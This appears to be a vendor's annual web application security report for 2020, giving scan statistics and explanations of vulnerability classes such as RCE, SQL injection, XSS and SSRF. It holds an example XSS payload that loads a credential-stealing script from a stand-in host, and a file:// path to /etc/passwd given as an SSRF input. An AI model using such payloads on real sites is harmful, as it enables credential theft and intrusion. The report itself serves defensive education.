The Invicti AppSec Indicator

Report Scope

We looked at 3,500 random and anonymous targets (websites, web applications, servers, network devices). There were 188,978 web scans and 173,571 network scans performed from January 2020 to December 2020. There were 185,000 vulnerability alerts triggered per month on average.

About Invicti Scan Targets

Scan targets were selected to be a proportional representation of all Invicti Online customers. The percentages represent both the selected scan target sample as well as all Invicti Online customers.

How Automatic Web Scanning Works

Invicti Online can perform dynamic application security testing (DAST) scans (also called black-box scans), as well as interactive application security testing (IAST) scans (also called gray-box scans).

A DAST scan means that the scanner has no information about the structure of the website or used technologies. An IAST scan means that the scanner has “insider information” about the web application. In Invicti, this is possible thanks to AcuSensor technology. You install AcuSensor agents on the web server for Java, ASP.NET, and PHP applications. The agents send information from the web server back to the scanner.

When scanning, you typically follow the following four stages and repeat them if necessary.

1. Crawling: The Invicti crawler starts from the home or index page. Then it builds a model of the structure of the web application by crawling through all links and inputs. It simulates user+browser behavior to expose all the reachable elements of the website.
2. Scanning: Once the crawler has built the website model, each available page or endpoint is automatically tested to identify all potential vulnerabilities.
3. Reporting: You can view the progress of a scan in real-time, but the results of a scan are typically summarized in reports. You can use reports for compliance and management purposes. Invicti offers several report templates for different purposes, for example, OWASP Top 10 and ISO 27001 reports.
4. Remediation (fixing vulnerabilities):

• • Patching – first, export Invicti data to a web application firewall (WAF). This lets you temporarily defend against an attack while you work on a fix.
  • Issue management – when you integrate with issue trackers like JIRA, GitHub, and GitLab, you can track vulnerabilities from the moment they are discovered to resolution. You can also integrate with continuous integration solutions such as Jenkins.
  • Continuous scanning – Invicti can perform scheduled scans. You can use them to make sure that vulnerabilities are really fixed.

Another Victim of COVID-19: Web Application Security

The key factor that influenced web application security in 2020 was the onset of the COVID-19 pandemic. This event impacted web application security in the following ways:

• Businesses had to redirect their IT resources. The pandemic forced them to change their work organization. As a result, businesses delayed many web application projects. This means that developers created/upgraded fewer web applications. As a result, they introduced fewer vulnerabilities.
• On the other hand, companies often shifted their security efforts towards endpoint security. Security teams had no resources to address many web application security issues, including those that have been discovered in 2019 or earlier.

The result of these two trends is the general lack of improvement in the level of web application security. The COVID-19 pandemic has also been instrumental in the appearance of new malicious actors, so overall, 2020 can be considered a bad year for web application security. If businesses don’t want to risk severe consequences, they should pay more attention to their web applications in 2021.

2019 vs 2020: Trends for Detected Vulnerabilities

Vulnerability Trends 2016-2020

Between 2016 and 2019, the number of high-severity and medium-severity vulnerabilities decreased steadily every year. In 2020, the number has slightly increased, most probably as a result of business decisions related to the impact of COVID-19 on the organization of work worldwide.

What Is a Vulnerability?

A vulnerability is a flaw in an application or device that can be exploited by malicious hackers. Attackers can exploit a vulnerability to achieve a goal such as stealing sensitive information, compromise the system by making it unavailable (in a denial-of-service scenario), or corrupt the data.

The impact of vulnerabilities varies depending on the exploit. Invicti assigns severity mostly depending on the impact that the exploit may have on the system. Severity also depends on how difficult it is to exploit the vulnerability.

Your business may have many systems running simultaneously – and some are more critical than others. Invicti allows you to grade these systems using business criticality. Essential systems have a higher criticality than non-essential ones.

• High severity: This level indicates that an attacker can fully compromise the confidentiality, integrity, or availability of a system without the need for specialized access, user interaction, or circumstances that are beyond the attacker’s control. It is very likely that the attacker may be able to escalate the attack to the operating system and other systems.
• Medium severity: This level indicates that an attacker can partially compromise the confidentiality, integrity, or availability of a target system. They may need specialized access, user interaction, or circumstances that are beyond the attacker’s control. Such vulnerabilities may be used together with other vulnerabilities to escalate an attack.
• Low severity: This level indicates that an attacker can compromise the confidentiality, integrity, or availability of a target system in a limited way. They need specialized access, user interaction, or circumstances that are beyond the attacker’s control. To escalate an attack, such vulnerabilities must be used together with other vulnerabilities.

Combined vulnerabilities

In most cases of medium-severity and low-severity vulnerabilities, the attack is possible or more dangerous when the attacker combines it with other vulnerabilities. Such vulnerabilities often involve social engineering.

High-Severity Vulnerabilities

In the case of several high-severity vulnerabilities, the number of cases discovered in 2020 has increased when compared to 2019. We discuss probable causes and effects in the following chapters dedicated to particular vulnerabilities.

High-Severity Vulnerabilities 2019-2020 (Ordered by Severity)

Medium-Severity Vulnerabilities

The situation with medium-severity vulnerabilities is similar to high-severity ones. We can see a slight increase in all types of vulnerabilities with a sharp increase in the number of detected DoS vulnerabilities, discussed in the DoS section below.

Remote Code Execution (Code Injection)

Remote code execution (RCE) is at the top of the high severity list. An attacker can use this vulnerability to run arbitrary code in the web application.

If the attacker can run code, they can also run commands in the operating system (OS command injection) and they may be able to create a reverse shell – an outbound connection from the host to the attacker. In many cases, this bypasses firewall configurations. Most firewall configurations block inbound connections, not outbound connections. If outbound connections are not verified, the attacker can use a compromised machine to reach other hosts, possibly getting more information or credentials from them.

SQL injection (SQLi)

An SQL injection (SQLi) attack is possible if the developer does not examine or validate user input. As a result, attackers can input an SQL query that is then executed by the backend database. Such a query may reveal, add, or delete records or even entire tables. This can impact the integrity of the data and possibly completely stop the web application (denial-of-service). Such vulnerabilities may allow the attacker to create or change files in the host system or even run commands. They may also allow the attacker to move to other hosts.

SQL injections often let an attacker obtain access to customer records, personally identifiable information (PII), and other confidential data. With privacy regulations emerging worldwide (e.g. the GDPR legislation), this is even more important. Lack of compliance may lead to big fines.

SQL injection has been around for a long time and is one of the most common and most damaging vulnerabilities. It is also well known. Many tools and techniques are available to defend against such attacks, but malicious hackers also have many tools to exploit these vulnerabilities.

Local File Inclusion and Directory Traversal

Local file inclusion (LFI) and directory traversal (path traversal) vulnerabilities let the attacker access the host system. The attacker may do it by using .. or ../ to reference a parent directory.

In the case of directory traversal, the attacker may read files that should not be accessible. In the case of Linux and UNIX, the attacker may use the /proc directory to access software components, hardware devices, attached filesystems, networks, and more. They may also use the /etc directory to access confidential information such as usernames, group names, and passwords.

In the case of local file inclusion, the attacker might be able not only to read files but also to include code from them. If the attacker can upload source code files, they can then execute this code on the web server.

Cross-Site Scripting (XSS)

Cross-site scripting (XSS) occurs when the attacker injects malicious scripts into a web page, usually JavaScript. Interactive web applications need to execute scripts in your local browser and this makes cross-site scripting possible.

This type of vulnerability is mostly caused by developers failing to validate or sanitize user input. If the user includes JavaScript code in a form and the developer uses that form input directly on the web page, this guarantees an XSS vulnerability.

For example, a malicious user may enter the following message into a forum:

Thanks for your help! <script src=”http://example.com/getcreds.js”>

This message is then included in the forum thread. If another user opens this page, their browser will execute the JavaScript code. This code downloads malicious JavaScript from the attacker’s website (in this case from example.com).

WordPress and Other CMS Vulnerabilities

Estimates show that, as of January 1, 2021, more than 39% of all websites are WordPress-powered, up from approximately 35% the year before (see reference).

WordPress is so popular that it is no surprise that attackers focus on it. When it comes to WordPress security, there are three components: WordPress core, UI themes, and functionality plugins.

The development community that builds WordPress core is strong and mature. Discovered or reported vulnerabilities are immediately investigated and quickly fixed. WordPress performs automatic upgrades for security updates (minor version number increments) and sends notifications to the system administrator about successful and unsuccessful upgrades.

The situation is different for plugins and themes. Any author can use these mechanisms to add functionality to WordPress. The security and quality of these add-ons vary significantly. The more popular the addon becomes, the bigger the risk for security. Unfortunately, when an attacker discovers an exploit, they can attack sometimes even tens of thousands of WordPress installations that use the vulnerable plugin or theme.

Joomla! and Drupal are also CMS systems with many users, but they are not as popular as WordPress. Joomla! and Drupal both have addons that expand their functionality. Similarly to WordPress, the core is maintained by a trusted group of developers and contributors, while add-ons are more likely to contain vulnerabilities.

CMS Vulnerabilities in 2020

In 2020, we can see a slight rise in the number of WordPress-related issues and a drop in the number of Joomla-related and Drupal-related issues. However, these are exactly in line with the corresponding growth and decline of the popularity of these CMSs. Between January 2020 and January 2021, WordPress gained 4.8% popularity, Joomla lost 0.8%, and Drupal lost 0.4% (see reference). Therefore, these numbers suggest that the situation in terms of CMS web application security has not changed at all in 2020.

Similar to what we mentioned above, commenting on XSS vulnerabilities, if you compare WordPress-related issues to Joomla-related issues, you can see that the number of vulnerabilities is in contrast with the number of websites being run using these CMSs. This situation clearly shows that the percentage of Joomla installations that are vulnerable is much higher than the percentage of vulnerable WordPress installations. This means that users of Joomla should be extra careful, update regularly, and use as few plugins as possible.

Vulnerable JavaScript Libraries

JavaScript libraries help to make development faster and easier, but some library versions can be vulnerable. Many web applications rely on outdated JavaScript libraries, for example, old and vulnerable versions of jQuery. This can introduce cross-site scripting vulnerabilities.

Vulnerable JavaScript Libraries in 2020

We found that 28% of sampled targets use JavaScript libraries with known XSS vulnerabilities, which is 4% more than last year. We find that increase very worrying. Such a high number of vulnerabilities in third-party components means that businesses have no security processes in place to verify the safety of third-party solutions. It may also be caused by the COVID-19 pandemic – the developers may be too busy with other issues to update vulnerable libraries or to pay attention to the safety of new third-party components that they introduce.

Weak Passwords & Missing Brute-Force Protection

Weak passwords are usually short, common words or default values. An attacker can easily guess such a password when they encounter a login prompt. In some cases, you can guess weak passwords using a dictionary attack. In other cases, weak passwords are simply a default username and password combinations like admin/admin or admin/password.

Reserved Information Disclosure

Certain types of information should be reserved and never disclosed to the outside world. Obviously, different types of information disclosure have different levels of severity.

Disclosure of personally identifiable information is a high-severity issue. Disclosure of an internal IP address is less risky. However, combined with other vulnerabilities such as SSRF, it may let an attacker reach the system from another, less secure machine. Some websites and web applications intentionally reveal email addresses. Obviously, this is not always a vulnerability because some businesses risk spam to make it easier for customers to reach them.

Reserved Information Disclosure in 2020

Source Code Disclosure

Source code disclosure vulnerabilities show two problems. If you expose custom code, you make it easier for an attacker to find vulnerabilities in your code. The attacker might also find other critical and sensitive information such as credentials or API keys used by the developer to integrate with internal or external services.

If the source code is disclosed, the attacker can check the components and component versions used to build the web application. This helps the attacker develop attacks that target known vulnerabilities in those component versions.

An attacker may also use code disclosure to find LFI vulnerabilities. By analyzing how you built part of a solution, attackers can guess the entire file structure of the component. They can then use this to access configuration files that contain credentials for back-end databases.

You should never disclose any source code, no matter if it is your own code or open-source code.

Server-Side Request Forgery

Server-side request forgery (SSRF) vulnerabilities occur when the attacker is able to make the web application send crafted data to another server. Developers often allow such data exchange without a challenge when they only expect internal and trusted communication. An attacker may create or forge requests from a vulnerable server by replacing URLs with addresses that the server trusts.

This vulnerability is most common for internal systems that do not allow connections from the internet or that use an IP whitelist. They often let other internal systems access information or services without authentication. These may include databases, caching engines, service monitoring tools, and others.

This attack technique mostly uses URL substitution. Attackers can use URLs like file:// to trick the web application into exposing file content. For example, file://etc/passwd would expose user account details.

Even though SSRF is not very common compared to other high severity vulnerabilities, it may be fatal. The attacker may use it to examine the network, perform port scans, or send a flood of requests to overload a component (DoS).

Overflow Vulnerabilities

Overflow vulnerabilities occur when the attacker can input too much data. If the developer does not check the bounds of variables stored in memory, excess data can overflow into memory locations containing other data or even executable code. This can cause data corruption or allow the attacker to execute their own code.

This class of vulnerability can only occur in software written using certain programming languages, such as C and C++ (rarely used for web applications but often used to build web servers and their components). In these languages, memory management is done by the developer, not the language itself. Most other programming languages handle memory management during compilation.

The most common overflow vulnerability is a buffer overflow. There are two types of buffer overflows: stack overflows and heap overflows. Stack memory is a region of memory reserved for variables created by a function for local use (within that same function). When the function exits, it automatically releases the memory that it used. Heap memory is used for variables with a global scope and the developer needs to allocate and release memory explicitly.

Perimeter Network Vulnerabilities

Every local network is shielded from the outside world (the Internet) using edge or perimeter devices. These provide functions and services such as routing, NAT/PAT, VPN, and firewalling. Servers, such as web servers, mail servers, DNS servers, are also often located on the perimeter of the local network and accessible from the Internet.

If you do not regularly maintain such devices and services to update their operating systems and software, vulnerabilities can appear. Vulnerabilities can also appear when you misconfigure a device or a service.

Many of these services are now being moved out of internal networks and into the cloud. Therefore, it might be difficult to tell the difference between a LAN service, a WAN service, and a perimeter/edge service. However, regardless of the location of the service, if your critical network elements have vulnerabilities or are misconfigured, they may expose critical data and potentially allow an attacker to bypass authentication.

Perimeter Network Vulnerabilities in 2020

We noticed a sharp increase in the number of SSH-related vulnerabilities but we don’t believe that this is a cause for alarm. The increase is mostly due to improvements in the network scan component used by Invicti.

DoS-Related Vulnerabilities

Denial-of-service (DoS) attacks are designed to bring down a system – to make it nonresponsive or impossible to access. Attackers often do this simply by flooding the target with requests that block or obstruct regular traffic. This is sometimes called a volumetric attack because it is the volume of requests that causes the damage. Popular tools that attackers use are Low Orbit Ion Cannon and High Orbit Ion Cannon.

Application-based denial-of-service is more refined. First, the attacker makes regular requests and measures response delay. Some requests require more processing time and are more expensive for the target. The attacker chooses the most expensive requests and uses them for the actual attack. This way, they can use fewer requests to achieve the same goal.

DoS attacks are very difficult to defend against because the requests appear to be legitimate. There are some tools that can help you, but the attacker may also use multiple hosts to send requests, making a distributed-denial-of-service (DDoS) attack.

Host Header Injection

Host header injection vulnerabilities occur when an application dynamically creates HTTP headers using data supplied by the user. Some application developers trust the security of host headers to import stylesheets, scripts, and links – even for password reset purposes. Without multi-factor authentication (MFA), an attacker can even gain complete control of a user’s account.

Another attack based on host header injection is web cache poisoning. The cache then serves the attacker’s payload to users.

Directory Listing

Directory listing is what a web server does when the user requests a directory without an index file. If the web server is configured with directory listing turned on, it shows the contents of such a directory. If the files are readable by the web server, the attacker may be able to view the contents of the files. This can escalate to higher severity issues, for example, source code disclosure. It may also expose configuration files that contain, for example, credentials for back-end databases.

TLS/SSL Vulnerabilities

Transport Layer Security (TLS) and its predecessor, Secure Socket Layer (SSL), are protocols used to authenticate and encrypt connections and verify the integrity of data exchanged between clients and servers.

Every website on the Internet should encrypt communications between the user and the server. This is especially important for websites that handle sensitive data. Encryption creates a secure channel to exchange information such as identification numbers and documents, financial information (for example, credit card numbers), login credentials, and so on.

Older variants of SSL and TLS are vulnerable to many attacks. An attacker who identifies a web server that still uses such versions (usually because of a misconfiguration) may be able to crack or bypass encryption and access information that is exchanged between the server and users.

Usage of Web Servers

As part of our analysis, this year we took a look at the types of servers used by our scan targets. What we found especially interesting is the fact that they seem to be quite different from global web server usage statistics (as provided by w3techs – see source). Invicti targets seem to be much more often installed on IIS servers and much less often on Cloudflare than in the case of global statistics.

This data leads us to speculate that perhaps customers who purchase Cloudflare and additional services such as web application firewalls are wrongly under the impression that their web applications are more secure and there is no need to address vulnerabilities. On the other hand, since IIS is globally perceived as potentially more prone to vulnerabilities, IIS owners take their web application security more seriously.

Usage of Server-Side Programming Languages

The overall landscape shows that usage of PHP is approximately static. The second most popular technology is ASP.NET but it is slowly losing ground to other less mainstream server-side languages. This continues last year’s trend.

The main thing to infer is that ASP.NET is losing ground, mainly to Ruby.